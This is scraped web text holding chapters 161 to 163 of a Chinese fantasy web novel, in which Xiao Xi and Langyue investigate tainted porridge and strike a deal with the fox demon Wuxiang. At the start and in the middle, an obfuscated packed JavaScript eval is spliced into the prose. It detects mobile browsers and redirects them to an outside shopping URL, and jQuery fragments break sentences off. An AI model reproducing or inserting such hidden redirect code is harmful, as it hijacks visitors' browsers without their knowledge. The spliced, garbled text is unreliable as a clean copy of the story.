;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14068153|126577||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也是怕自己的行为触怒了这些对秦二公子信仰有佳的流民百姓,即使面对的人只是个看起来柔柔弱弱的小姑娘,她也不觉得能就此放浪形骸,毕竟谁也不知道她会不会把事情闹大,叫其他人一哄而上。 “是吗,”小姑娘歪了歪脑袋,灵气一笑,继续道,“总之,你不能把它倒掉。” 萧喜尴尬地承笑着,同时,她又感觉到一种奇奇怪怪的感觉在自己的身体内肆意游荡,因为,她总感觉这姑娘的各种行为神态虽然乍一看没什么异常,却总给她带来说不出来的违和感——好像,她的心智并非像表面一般单纯年幼。 可惜,她没有证据说明这一点。 小姑娘没再说些奇怪的话,她开始视若无睹地端起手里的碗,送到嘴边。 这一举动叫萧喜吓煞,因为她知道这粥水虽然没被她看出什么异常,但却不能代表它没有任何问题。她对小姑娘的举动感到震惊,生怕她喝了粥就出了事。 萧喜用余光张望了一番四周,发现除了小姑娘以外,空无一人。既然如此,她也没什么好顾忌的了,顺手救救这孩子也惹不上什么大事,用对方法就行了。 一阵风吹来,扬起一地尘埃,迷乱小姑娘的眼睛。 萧喜趁乱,抽出袖子中的半截符纸,嘴中无声念叨,将其捏散成了松散的黄沙,混入了风,精准地落到了小姑娘的碗里。 风沙落定,萧喜立马笑逐颜开地道:“那小妹妹,没什么事情的话我就先走啦!额,粥水我是不会倒掉的,放心。” 说罢,她就加快了脚步,端着粥水摇摇晃晃的碗,匆匆跑出了小姑娘的视野。 小姑娘揉了揉眼睛,她还没来得及说话,萧喜就已经一溜烟跑没了,她顿时倍感无奈,随后才默默俯首要喝粥。 然而她看到的,不再是像先前一样的清汤米水,而是爬满了白白胖胖的蛆虫的白色浆水,视觉反响极其刺激。 她一个没注意,手就松了,碗碎了一地,而她看到的所谓的爬满碗璧的蛆虫却早已化作了一滩水,消失不见。 或者是,这些蛆虫根本就没有出现过,她看到的不过是萧喜故意放出来吓唬她的幻象。真是恶趣味。 明霞荡了荡衣袖,嘴角扯出一个意味不明的笑容,她垂眼看着地面上零碎不堪的碎碗,开始喃喃自语:“有意思,伯乐,这就是你特意为你那宝贝徒儿挑选的命定之人么?尽想着逃避,真是一如既往得窝囊。” 说罢,她一摇一摆的转过身去,不满地蹬了蹬地,气道:“这萧喜害得我又要去重新排队了!我本来还想亲自尝尝刹摩的手艺来着!真是的!烦死啦!” 当然,她是知道这粥水是有问题的,不然她也不会警告萧喜不要随意倒掉它们了,因为刹摩的手段向来意味着极强的传染性,这些粥水也不例外,如若随意散播在外,恐会闹出其他的事端。这是她的经验,而非空穴来风的臆断。 不过,她可是明霞,这粥水自然伤不了她半分。 想到某处,她忽然乐了起来,眉目松懈,她默默松了一口气,似乎是在笑自己的自欺欺人。 因为她可是明霞,她要做什么便一定能做到,她要安排的事情就一定会按部就班地发生,便是一丝一毫的误差都不会准许它们出现。所以,主动找到萧喜,乃至故意在她面前喝粥都是她故意而为之的事情。以至于重新排队领取粥水,都成了她意料之中的故事环节。 她从来是故意的。不管是在从前的庆阳镇,还是在现在的盛京南城门。 还有,她想要的根本不是尝一尝“刹摩的手艺”,她要的是能亲眼看一看刹摩的模样。 她收敛起神色,面色微沉,她将目光探去远处,看向那一望无际的人群,和被互相挤地如同黑蚁的人群遮掩住的秦二公子的身影。第一次领粥时,她没有看到他,这一次也不知道能不能碰上。 “万余年了,终于以这样的方式找到你了……” “我会弥补过错的。”她心中默念。 161. 双赢之约(1) 萧喜原路返回,想要去和朗月会和,但没有想到,她半路会被一只狐妖光明正大地截胡了,这只狐妖无论是气息还是长相,都让她倍感熟悉。她想起来自己已经跟此妖打过两次交道了,一次是在云镇,一次就是昨晚的鬼面妖市。 她顿时警惕地捂住口鼻,生怕雾香再释放那要命的毒雾。 而雾香却对她的动作嗤之以鼻:“我叫雾香,好久不见。” 捂住口鼻的萧喜自认为不会轻易上当,她不确定对方是不是在诱导自己说话,好叫她再受了她的毒雾之苦。所以她只是戒心颇重地看着雾香,一个字都没有说。 雾香睨了她一眼,继续说明她的来意:“我是鬼市妖主吩咐过来帮你们的妖,你倒不必如此警觉。” 她甚至为了证明自己的身份,还特地掏出了一副白刻舟的八角宫廷的宫牌出来,亮给萧喜看。 萧喜皱着眉头,脑中迅速转动起来,这个狐妖应该是比较忌惮朗月的,现在居然敢直接出现在她面前,还主动说明来意,要么她说的事情都是真的,要么她就是在故意布置陷阱。 她这几天对“陷阱”这个词分外敏感。 她还在斟酌着,雾香就有些不耐烦地道:“我现在还有正事要交代给你们呢!你身边的那个仙机门的少年搁哪儿呢?你快带我过去找他!省得我还要复述一遍。” 雾香的抱怨让萧喜越来越摸不着头脑,但她既这么说了,朗月又不在远处,她不妨就顺着这只狐妖的做,反正目前的她在短时间内还是不会吃亏的。 萧喜别过雾香的肩,朝她做了个“跟过来”的手势,然后就飞快蹬地狂奔了过去,她这是在拼命跟那只狐狸妖怪保持距离。 另一头,强忍着那令人胃水翻江倒海的骚臭味的朗月还在一筹莫展着。 他试过很多跟这些倒地不起的流民交流的办法,但他们大多意识萎靡,症状又复杂,往往融汇了各种疾病的特征,这些流民乞丐们对他还特别排斥,他又无法用法术探测出他们身上诡异的气息—— 毕竟盛京的情况和庆阳镇或者沧淩城的不同,血蠕对妖族或人族的影响也不尽相同,盛京城更是刹摩眼皮子底下的地界,他不敢轻举妄动。 但盛京的情况涉及到了干扰妖族妖力一事,或许他还能借妖怪给他带来线索,可惜的是,他现在并没有这方面的帮手。他宛如一只没了头的苍蝇嗡嗡飞舞在乱局之上。 下午久违的太阳上来了,精神疲乏的朗月只好暂时找了个歇脚的墙根边,抱胸而立,躲避足以刺目的直射下来的金芒。 直到他闻到了一股熟悉的妖气,他才重新装备上了自己的警惕心。 他看到萧喜滑稽地伸长双臂,活似僵尸,手里端着一碗哗啦啦摇荡着水的破碗,努力维系平,正马不停蹄地向他跑来,而她的身后则跟着跑得不紧不慢的狐妖——鬼面妖市与他打过交道的狐妖。他眸色渐沉,毕竟他还是比较记仇的人。 但转念一想,他知道那只狐妖奔跑的速度绝对可与仙机门的风行术相媲美,倘若她真要迫害萧喜,绝对不会用现在这样的速度跟着她,甚至还特地跟她保持了一定的距离。他慢慢松懈了下来。 朗月还知道,这个狐妖是有些忌惮他的身份的,在这样的距离下,她绝对不可能察觉不到他的气息,所以这妖怪能不顾一切地跑过来,定然是有其他的目的——譬如,和白刻舟有关。 他眼神淡淡扫下,分外镇定,站在原地等待萧喜她们的到来。 萧喜气喘吁吁地停下,匆忙递给他一碗粥水,活像是丢掉了什么不得了的负担一般,然后她就赶忙跳到了朗月身边,面向了雾香,气势顿时变得高昂了起来。 雾香白了一眼,像是在说这四个大字“狗仗人势”。 “她说她就是白刻舟派过来的妖。”萧喜像朗月解释道。 这个答案完全是意料之中,朗月对此已然熟知,他倒是没有直接拂了她的话,而是应付性地点头示意。 “是,我的确是。” 雾香颇为得意地昂起头,趾高气扬地道,倒像是想要把之前丢掉的面子都要争回来的意思。 眼看着这个模样冷肃的少年只是看着她,却一直都不说话,雾香倒开始自乱阵脚了起来:“我就知道你们不信!” 她伸手直接抢过朗月手里的那碗清汤寡水,装模作样地凑近嗅了嗅,再不以为然地道:“这个粥水的问题我早就发现了,这里面融过了鬼草,所以会让这些人类承受不住,不过不用担心,鬼草不会要他们的命,只会让他们过很长一段生不如死的日子而已,它真正的威慑力在于限制我们这些妖。但鬼草既不是什么毒药,也不是什么妖气弥漫的邪物,它充其量不过是一种生长在偏远地方的稀有草木,你们两个人族无法发现它的存也是正常的事。” 萧喜对此抱有怀疑:“……限制你们?那不就是白刻舟口中的威胁你们妖怪妖力的源头么?你这么快就能发现它,其他妖怪包括鬼市妖主这么久了都发现不了?你这妖怪说谎真是连稿子都不打,简直胡扯!” 雾香闻言不可置信地瞪了她一眼,但碍于这边还有朗月,她只好收敛怒气,说道:“这当然不是什么源头,只是新花样罢了。” “新花样?”朗月终于开口道。 雾香见终于有人对她的话产生了兴趣,她这才扬起嘴角,得意洋洋地继续说道:“其实从昨晚开始我就应该过来找你们,但出于私心和习惯,我还是自己摸索了些东西出来,毕竟我妖怪那边的消息渠道比你们多得多。妖怪们开始感觉到妖力不支的时间和地点都各有不同,但这种情况一旦要发生,就必然是在某个可大可小的范围里的,所以说这种症状是带有传染性的,至于是如何传染上的……” 她的目光移了移,指向了远处躺在地上几乎奄奄一息的流民乞丐们。 “就靠他们喽。毕竟虽然盛京不会被修真门派们干扰,但毕竟也是人迹汹涌的地方,妖族要想活下去,就只能依靠人族的环境,他们大多数都会伪装成普通的人族混入其中,浑水摸鱼下去,平日里,能与他们产生交际的无非就是人和妖,妖族之间互不影响,所以就此推断出,他们身上的妖力衰微一事是被人族染上的。” 她一边说着,一边抬起手,向她们展示自己掌中燃起的焰火,紫色的外焰包裹着冰蓝色的内芯,宛如跳跃在一颗紫水晶上的鬼火。 她的动作立刻就激发了朗月和萧喜的戒心,他们立刻后退,远离了她。而她依旧无动于衷着,她集中注意力于掌中,蓄力加大灵力爆发的力度,然而这个现象仅持续了不到一眼的时间,就立刻恢复成了原本刚发力时微弱的模样。 “因为我来过了这个地方,并受到了污染,所以我的妖力受到了胁迫,倘若我继续呆下去,后果应该会更加严重,且不可逆。所以,我可以有一定的理由推断其他妖族之所以会妖力衰微,也是因为受到了像我这样的污染。至于为什么说是新花样呢,因为今天这种情况确实是第一次见,妖力衰微的事情却不止一次,所以在此之前盛京中应该存在着其他的传染形式。” 朗月和萧喜默默想着,刹摩果然是在暗处观察着他们的一举一动,这次南城门传染事件,明明能像之前一样,以更为隐蔽的形式发生,可其偏偏选择背道而驰,用如此显眼的方式吸引他们的注意,这与请君入瓮有什么差别? 街道上的人潮渐渐流动起来,这会给他们带来很多不便,所以朗月便开口道:“我知道了,你和我们一起回客栈商议其他的事情。” 这句话的内意便是相信了雾香。 萧喜虽然也有些相信这狐妖,但看到朗月果断的反应时,还是感到一点点意外,除非……他在此之前就有了明确的判断,而他刚刚之所以一言不发,只不过是在试探而已。 她深吸了一口气,默默在心里给朗月竖了个大拇哥。 到了客栈—— “你之前既然选择了先自己行动,却又在现在突然出现在我们面前,是有什 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朗月此时才终于说道:“她是在忌惮她的身份会引起其他的事端,毕竟这次的事情很针对妖族。” 萧喜顿了顿,知道自己忽略了这么一件重要的事实,但她可不愿意在这个让她吃了那么多苦头的妖怪面前服软,便犟嘴道:“你是在害怕自己的妖力受损吧,那你可真是贪生怕死。” “你说什么?!你怎么配这么说我?!你知不知道要不是因为你……”雾香一下子就被激怒了,这一次她差点连朗月都不在乎了,但她还是在余光扫到朗月阴凉的目光时倏尔卡住了话语。 她本来是要说,要不是因为萧喜几年前对她做的事情,她也不会不顾一切地趟入了这么一大滩浑水。 但就算雾香再怎么眼急口快,却还是没能逃过朗月敏锐的察觉力,他立马说道:“你知不知道……要不是因为你?看来,你之前就认识了萧喜吧?但,我要是记得不错的话,今日才是你和萧喜第一次正面打交道。云镇那晚不算。” 他似有似无地内涵着,就算是雾香这种寻常不太爱带脑子且直来直去的妖,在此时也心虚地要死,甚至顿时尴尬地快要无地自容。 “我……我……”虽然她很愤怒,但她已经紧张地不敢说了。 此时萧喜也说道:“对啊,我和你之前认识吗?之前我和朗月不管怎么推测,都想不通你为什么要在云镇偷袭我们?假如你真的胆子大,和别的妖怪不一样,敢当面在远离盛京城的镇子上对仙机门下手。那你又为什么要提前放好能致幻的毒雾呢?不就是怕仙机门的人对你下手?这说明你其实是怕的。” 雾香闪烁其词:“那不是因为悬赏令的事吗……” “但是,假如你跟别的妖怪一样,也是为了拿下鬼面妖市悬赏令的名额,所以要斩除其他对自己有威胁的存在的话,你又为什么要选择在云镇对我们动手呢?毕竟云镇距离盛京城还很远,你根本就无法判断我们的去向才对。” 萧喜的解释面面俱到,完全扼杀了雾香一切狡辩的机会。 朗月颔首,继续对雾香道:“按常理,身为妖的你应该是知道仙机门等其他修真门派在没有朝廷的批准下,是禁止随意出入盛京城这样的繁华地段的。所以,你不仅无法判断我们的去向,也应该下意识认定我们不会去往盛京。你根本不是因为悬赏令名额的事情暗算我们。” 萧喜接道:“除非,你在之前就认识我,而且还是仇家的关系……” 说及此处,她不由顿住,默默抬眼垂眼,从上到下好好打量清楚雾香的模样——一个罩着轻薄紫衫的、长着一双秀丽灵动的狐狸眼、唇珠饱满红润、整体年轻而富有娇媚之气的女子。 她左思右想还是想不出任何有关此人的印象,她不觉得自己是个记性不好的人,恰恰相反,她向来是个记性稳当到能斟字酌句回忆过往的人。 她只是摇摇头,满面愁容:“但我根本就不认识你,更想不通你为什么会跟我结仇。” 162. 双赢之约(2) 雾香与萧喜四目相对着,她有些耐不住对方眼中熊熊燃烧着的好奇心,便想要移眼,却在刚转动眼珠子的那一刻,又对上了朗月穷追不舍的带着审问意味的眼神。她不由得瑟缩了一下,自知要想进行跟萧喜和朗月“合作”的原计划,就绝对逃不过这个坎。 她一直都觉得自己是有理的那个啊,怎么到了现在该“伸冤”的时候却掉了链子?!明明该是强势方的她,怎么会在现在变成被逼问的那一方? 其实她的心理暗示已经给过了她确切的答案——她不是不想伸冤,而是担心提及过往会再牵扯上云镇那晚的事情,万一这两个人族闹起来,不愿意跟她合作了怎么办? 尽管答案已有,她却不愿意相信顾虑多多的自己。 实际上,雾香这样的脑回路完全是多此一举,因为她已经忘掉了自己对朗月和萧喜而言,是不可或缺的。所以,尽管朗月和萧喜对她再多不满,也绝对不会放过雾香这个提供的线索途径。 可惜,雾香无法完全领悟和利用其中的关系,而白刻舟貌似对身为紫狐族的她带有深深的偏见,竟然觉得她有本事担当大任。 罢了,豁出去了,不然也收获不了他们的信任,届时她要怎么从他们这边索取情报和行动进程给鬼市妖主? 雾香深吸一口气,身子弯下去,不消一眨眼间的时间,眼前姿态曼妙的女子就消失不见了,反而出现了一只安静趴在地板上的体型硕大的紫色狐狸,这是她正常情况下的原身。 毛发飘逸的紫狐忽地张口吐起人话:“萧喜你想想三年前的事情,觉不觉得我很眼熟?” 说罢,她还撅起屁股,将那条狐狸尾巴竖地老高,差点就能碰上天花板。 萧喜被吓得退后了两步,她眨巴着眼睛,看看这只毛色靓丽的紫色狐狸,一边张望着天花板之下的硕大狐尾,很快就惊道:“三年前一次雪夜!我也见过这样的狐狸!但它的体型并没有这么大!莫非你是那条狐狸的亲眷?!觉得是我杀死了它,所以跟过来报仇的?!” 朗月微愣,因为萧喜的话再一次触及到了他的盲区,他移开看向雾香的眼神,瞥向了萧喜。 注意到了朗月无声的疑惑后,萧喜倒也不遮掩,反而特别激动地看着他解释道:“那时候的我正在一个人满大周游荡,想着可以找找我那突然消失的师父,一天雪夜,我不得已落脚于附近的破败屋子里,当时我看到了一只被冻死、模样极为珍惜的紫色狐狸,想着走过路过不能错过,就割下了它的尾巴,觉得以后也能保暖……” “你放屁!”雾香猝然失控,她怒不可遏地仰起脑袋,长长的狐嘴朝萧喜咆哮起来,随即又转过身来,叫萧喜仔细看看她尾巴周围的一道伤疤。 “那只紫狐就是我!我根本没有被冻死!我只是因为妖力竭尽才变成那副神志不清的小狐狸的模样!是你这个虚伪又残忍的人族割走了我的尾巴!你割走了我当时仅剩的尾巴!你差点让我丧命!你也让我在那段时间里在同族中抬不起头!我恨你!恨得要死!要不是你,我至于吃这么多苦跑来鬼市避难么?!” 朗月及时插话进来,他不希望雾香再这么闹下去,恐会被有心之人听到其中内言。 “避难?所以,你来盛京鬼市根本就不是为了悬赏令,你只是逞一时之勇报仇后,害怕被我报复,所以才选择了这条道路。” “那不然呢?!”雾香口速极快,但好歹声音是压了下去。 但令她和萧喜都没有想到的是,朗月并没有为她们纠葛不分的过去发愁,他的嘴角不再平静,反而突然扯上了一个不同寻常的弧度。 萧喜半边的眉头微挑,她知道朗月接下来必然语出惊人。 她的预料自然没有出现任何差错。 朗月冷笑着说道:“欲盖弥彰在我这里并不管用。” 雾香闻言皱起了眉头,但面色并未显现出慌张的情绪,因为她并不明白对方口中“欲盖弥彰”的意思。 她不得不被堵得哑口无言,只好继续听着朗月说道:“如果你的目的当真如此简单,白刻舟为何偏偏要选你当作安插在我们身边的棋子?他身为鬼市妖主,本来就有更多更值得他信赖的强手为他卖力,何须你来?” 雾香被他盯得后颈发麻,她梗着脖子,眼神躲避,她闪烁其词起来:“你难道不知道我是紫狐族的妖吗?我和我们族长可都是白刻舟的近亲!她只不过是卖了我一个面子而已!说实话,那天晚上我可就直接掉进了鬼市下面的集市里,差点就没命,是鬼市妖主救下的我,他觉得自己不能浪费这样可以向我讨价还价的机会,又看我有紫狐这样的拥有强悍妖力的家族血统,这才叫我来的!” 这是她觉得最有理有据的话,她甚至还晾出了根据自以为对鬼市妖主的了解,而编出的胡扯之语。 但论起对鬼市妖主的了解,朗月和萧喜在极强洞察力的驱使下获得的信息定然要强于雾香,很显然,雾香越是说下去,就越是将自己推入了难以辩解的境地,朗月口中的“欲盖弥彰”便就是她这副模样。 萧喜作为已经吃过亏的前者,她自然很快就能找到白刻舟控制雾香的原因——雾香和她一样,都抵押了所需所求之物在白刻舟那边,从而将自己变成被白刻舟握住把柄的傀儡。 虽然她和雾香中过一致的套路,但她的具体情况并不如此,她的“把柄”仅仅是虚浮于表面的,她和朗月只是借此反套了白刻舟一把,让对方以为他们被自己利用,从而减少对他们的阻力。她真正的用意是获取妖族的联系和帮助,并扩大获得胜券的可能性。 反将一军就是如此。 雾香就没这么好的脑子和好运道了,她甚至被别人牵着鼻子走了,还察觉不到怪异的地方。 当然造成她变成如今境地的原因不可能只跟她的脑路有关,一个极为关键的东西——欲望,会起到很强的心理牵引作用。她跟萧喜对欲望的需求度根本不同,萧喜有不为人知的后路,但她没有,她没有除了悬赏令以外其他获取满足欲望的途径。 否则,她为什么会在选择到鬼市避难后,又要在五日后的中元之夜和萧喜和朗月他们抢夺悬赏令呢? 萧喜用耐人寻味的眼神同朗月对了个视,在获得共识之后,她才正式开口对雾香套路道:“这样吧,你告诉我你在白刻舟那边留下了什么把柄,我们就会满足你的一切需求,也会尽全力帮你和鬼市妖主找到致使盛京妖族妖力衰微的源头。” 雾香闻言像是被吓了一跳,一个激动就让她的脑袋顶到了天花板上,她哗啦一下就立马缩起了身子,蜷缩起来的大尾巴包裹住了她的身形,不一会她就重新以人的姿态出现在了朗月和萧喜的面前。 她想不明白自己明明没有提过她和白刻舟之间谈话的内容,这两个人族却像有读心术一般说出这些隐情。 紧张下,她根本没有想对方到底是真的知道,还是在以假的消息套路她,只是直来直去地大声道:“啊!你们怎么知道!” 说罢,她才忽然意识到了自己的问题,她猛然用手堵住了自己的嘴巴,什么都不说了。 朗月不满的眉头越皱越紧,他的眼神自始至终都带着寒意,这让雾香的气势越来越弱。 碍于对方的魄力,雾香很快就放下了手,照搬起白刻舟的话,道:“你们别想糊弄我!鬼市妖主说过了,你们必须接受他安插的妖族眼线,而且,我对你们来说就相当于是跟鬼市联通的桥梁,是有利用价值的,所以你们既然要寻找致使妖力衰微的原因,就必然要听从我的建议。你们居然还想用这种拙劣的话术蒙骗我,从而套出我的话?你们是把我当傻子吗?!” 语罢,她好像抓住了什么特别的“主动权”,语调上扬的同时,她的话也在一段接一段地酝酿,正当她以为自己可以有恃无恐的站稳主导地位的时候,她刚要脱口而出的话还没发出任何音节,就被萧喜堵住了。 “看来,白刻舟是真的什么都告诉你了,”她叩着指尖,在桌案上敲出闷沉的声响,似乎是在用心思考着什么,她忽然抬眸,用故作深沉的语气对雾香说道,“那我觉得,你的欲望极有可能与我的欲望有很大的关系呢?” 雾香听得目瞪口呆,她不知道萧喜是怎么知道她也要寻找金瑶蒂的事情的,她语气微滞,想要装傻:“你什么……意思,我听不懂。” “你还不知道白刻舟跟你和我的交流过程很相似吧?”萧喜唇角微勾,开始瞎扯起来,“因为我在和鬼市妖主达成协议的同时,也扣下了自己的把柄在他那边啊,你和我难道不同吗?而且,你猜我为什么也非要抢夺悬赏令呢?因为我也有欲望啊。你难道……和我不同吗?” 她微带的笑意让她的话变得愈发能蛊惑他人的心魄,雾香自然很快就被她这副故弄玄虚的腔调震慑住了。 而此时,朗月用余光眇了萧喜一眼,眉头轻轻挑起,略感震惊,因为他知道萧喜现在几乎完全脱离了现实胡说八道着,也知道她只不过换了一种方式去套路这个看起来不太聪明的狐妖。 萧喜根本不是单单为了自己的欲望,才主动涉险闯入鬼市夺取悬赏令名额的,也根本不是为了所谓的欲望而跟白刻舟立下协议的。其实,萧喜根本就不知道雾香的欲望是不是真的跟自己有牵连。 眼看着萧喜睁眼说瞎话的本事愈发熟稔,他内心微微感叹。 雾香被萧喜吓得半晌愣在原地,失语着,这一次她不管怎么去思考或者斟酌萧喜的话,都找不到任何破洞,甚至因为一次又一次的思虑,而让自己陷入了对方的思维陷阱里,越来越深。 “而你作为一个外妖,对于白刻舟这样的妖来说,根本就是微不足道的存在。他可不像是那种仅仅因为你是什么厉害的紫狐亲族,就给你特殊待遇,他怎么可能行事如此随便?更何况时间还这么凑巧?” 雾香还抱有一丝想要回旋余地的希望,道:“说得像是你有多了解鬼市妖主一样。” “我确实很了解他,”萧喜眉眼弯了弯,“你甚至没有理由不信,因为你本就心虚,也本就知道你说的那些话到底是虚是实。” 她的话迂回波转,像是说了什么,又像是什么都没说,但恰恰这样空心又没啥真实意味的话最能动摇对方的内心。 雾香的确紧张了,额头沁出了一层油汗。 “好……就算如此,但仅靠这一点是没法站稳结论的,你倒是给我解释解释‘更何况时间还这么凑巧’这句话,到底是什么意思?”雾香强忍着自己略显 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14093302|126577||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 虚浮的嗓音。 “你跟白刻舟说过了我和你三年前雪夜的恩怨吗?” “什……么?”雾香气愣了愣,她有些懵地回答了她的问题,“没有。” “那白刻舟就根本不会知道我们之间到底有什么关系,既然如此,他干嘛要那么放心地把事情交代给你这个不熟的妖处理?他手底下的鬼面侍卫厉害的可大有妖在。既然我和你没什么联系,他又干嘛非要在我们刚离开的时候就把你抓到面前去?时间难道还不够凑巧吗?” 萧喜继续瞎说道:“依我看,他就是看你也在抢夺悬赏令的名额,然后你的族系又引起了他的注意力,他就随口习惯性地问你之所以要抢夺悬赏令的原因,也就是你的欲望。然后你的欲望刚好和我有关,他就结合实际合理地认为你是个执迷不悟的家伙,从而拿捏你的把柄,控制你为他卖命,而且你这种的家伙肯定会为目的不择手段,比他的鬼面侍卫要执拗多了。” 雾香晃神起来,她听得越来越迷糊,既觉得萧喜说得很对、很符合实际,又总觉得哪里怪怪的。 朗月在旁一直默不作声着,萧喜先前是担心知晓他们人族身份的雾香会在外搅乱,这才让白刻舟赶快把她找回来,二者时间才得以重合。萧喜利用此事扰乱雾香的思维。 雾香如今已经哑口无言。 萧喜决定趁胜追击起来,所言所做完全超出了朗月的意料,她语速和动作反应地都很快:“你看,这是我的吊坠。” 她伸手掏出藏在白皙脖子下的项链,用手心托住中间那颗最为显眼的银蛾坠子,说道:“但你和白刻舟都不会知道,我那交出去的把柄根本就有其他更好的解法。” “萧喜!”朗月低声禁止。 萧喜只是平静地看了他一眼,并没有跟他说什么话。 而雾香的反应很大:“你骗了鬼市妖主?!” 萧喜失笑:“怎么可能?!那本就是我的欲望,而且鬼面妖主不可能分辨不出真假。” 雾香自然知道这一点,所以她刚刚才会摆出那副不敢置信的模样。 她的眸光逐渐聚焦到萧喜手心间的那只散着银光的蛾样吊坠,她似乎在一瞬间变成了一具提线木偶,动作被什么东西无形地牵引着上前,她无意识地触摸到了这冰凉的东西。 微垂的眸子里飞过一只振翅而飞的蝶,她怔住,不受控制地抚摸上去,念念有词道:“这是……妖的东西。” 她本来是要念出脑海中一闪而过的那只“妖”的名字的,也就是吊坠的主人的名字,但奈何她没有及时抓住念头,不得已放弃了这样的想法。 她总觉得,她的身体内有什么东西像暖流一样在体内慢慢流窜活动,而这些东西之所以会产生反应,都只是因为对“青灯”这个名字感到熟悉而已。 她的脑袋有些晕疼,所以很快退开步伐,摇了摇头,想要极力保持清醒。但刚刚那样的感觉就像是落了地的种子,在她的心上扎了根发了芽,挥之不去,事到如今,她没有任何理由不去相信萧喜的话,至少,关于吊坠的事情,萧喜没有骗她。 可这就意味着,萧喜可以不通过白刻舟就能找到自己想要的东西,也就是金瑶蒂。 雾香顶着混乱的思路,嘴巴嗫嚅着,眼神盯着萧喜看,颇有副瞳孔地震的既视感。 “所以,既然我可以不通过白刻舟就能实现自己的愿望,那我就完全没有必要听你指挥了呀?我之所以要跟鬼市妖主定下协议,不过只是想着多条做事途径,反正我觉得我们的胜券是在握的,区区妖力衰微一事,没有妖帮忙,我们也能轻松解决,”萧喜晾出了杀手锏。 雾香已经完全乱了阵脚,她不会去想萧喜的逻辑漏洞。而萧喜就是打着这样的算盘,想让雾香不攻自破。 “你难道不怕我把这些事情全部告诉鬼市妖主么?”雾香颤声问道。 同时,这也是朗月在意的问题。 “既然你的欲望和我有关,那我就保证自己能实现你想要的一切。如果你将事情都告诉了白刻舟,那你获取报酬的途径可就只有帮他找到妖力衰微之源一条了。但如果你没有,和我们暗自合作,你的途径就会变成两条,一条是我对你的保证,一条是我们帮你找到源头后白刻舟兑现给你的报酬。后者与我现在的思路没什么区别。但如果你选择了后者,我们就是双赢的关系,对任何人都有益。而且,你会更快地得到自己想要的东西。” “萧喜!”朗月这次是真的怒了,他不允许她再像刚刚说的那句“保证自己能实现你想要的一切”一样胡来,因为这只狐妖在云镇本就是想要她的命的,要是这所谓的“一切”也包括她的生命,他是绝对无法忍耐的。 “我想要找一个人,你也愿意兑现这样的承诺吗?”雾香的回答同样出乎意料,简直跟胡来的萧喜有异曲同工之妙。 萧喜也没有想到雾香会这么说,她还以外对方至少也要搬上个什么类似于“要你的命”的这种话上台面呢。 萧喜感到一丝不详的预感。 但她还是说道:“当然可以。” “你想找谁?”萧喜有些紧张,虽然她也不知道自己为什么会这样,也许单纯只是直觉所引。 “金瑶蒂。” 163. 双赢之约(3) 空气好似在一瞬间就停止了流通,不仅是萧喜,朗月的呼吸都好似被无形的大手扼住了幅度。 朗月迅速将目光定在了萧喜身上,眼神情绪波转,他似乎已经分不清萧喜刚刚对雾香说的那些极具干扰力的话究竟真假与否,因为起初他没有想到雾香的欲望会和萧喜的一样。 他甚至产生了错觉,从萧喜那句“你的欲望极有可能与我的欲望有很大的关系呢”话里,捕捉到了一丝宿命感,也开始怀疑,萧喜之所以会这样套雾香的话,估摸不是想要蛊惑对方心智,而是她可能早就知道了对方最后出口的这个答案。要不然,她也不会面不改色地说出那些话。 然而,他其实并不确定这个猜测,现实是,萧喜也的确没有想到事情会这么发展。 她虽然面色从容,但心态还是紧张的,因为她不知道答案,她只是靠着对方的情绪变化一丝丝拿捏着往前试探而已,她是个擅长说谎玩心机的人,所以即使内心瑟缩踌躇,但外表绝不可以动摇一丝。 所以说,她根本没有朗月想的那么不可思议。 朗月的目光定在萧喜身上看了一会,也慢慢接受了现实——萧喜现在也是懵圈的,她是不知道答案的。 雾香的眼睛则一直紧紧跟随在萧喜的身上,带着散着奇异幽光的眼神光亮,朝外散开千丝万缕的引潮力,将萧喜的心潮攥紧,一点一点拔高,一分一分翻滚搅动。 萧喜的双目微红,她的鼻尖酸涩,并微微抽搐起来,她的目光湿润,言语迟疑,朝雾香走近,带着一股不容拒绝的气力牢牢固住了她的肩膀,语无伦次道:“你……为什么要找她?不……你要找的人到底是谁?是哪个金瑶蒂?是不是只是同名……是不是……你告诉我,你告诉我……” 雾香被萧喜的动作吓煞,她想反抗却又忌惮朗月,她想逃离,奈何萧喜的手劲太过强悍,她根本无法动弹,只能言语动怒:“你他娘的干什么?!你怎么配碰我!你!” 她本想继续骂下去,却因为萧喜的一句话,不由得语塞。 “你告诉我……我求求你……告诉我,求求你,”萧喜双手慢慢松开,身子不稳,并慢慢地往下卑微歪倒,红涨的双手则慢慢合拢起来,抬着眸光想要对着雾香做出哀求的动作。 “你……” 雾香一时恍惚,她看着这样一点一点从自己胸前滑身下去的萧喜,竟然生出一丝怜悯之心,还想要出手扶住她,但她的理智扯住了她情绪的缰绳,她没有这么做。 因为萧喜只是她的仇人,一个无论如何都想要报复和折磨的仇人,她根本不配得到自己的怜悯和施舍。 或者说…… 雾香垂下眼眸,悲哀地看着现在的萧喜。 她是个骄傲的妖,她想要的是凭借自己的真本事,让对方心服口服后的求饶和愧疚,而不是像这样的毫不费力、一点成就感都没有的结果。因为就算这样赢了对方,她也不会觉得有多开心。 朗月心下一紧,速度很快,就走到了萧喜的背后,用手托住了她慢慢倾斜的身体,他的双手抓着她的两只手臂,让她无法谁其自然做出自己想要的动作。 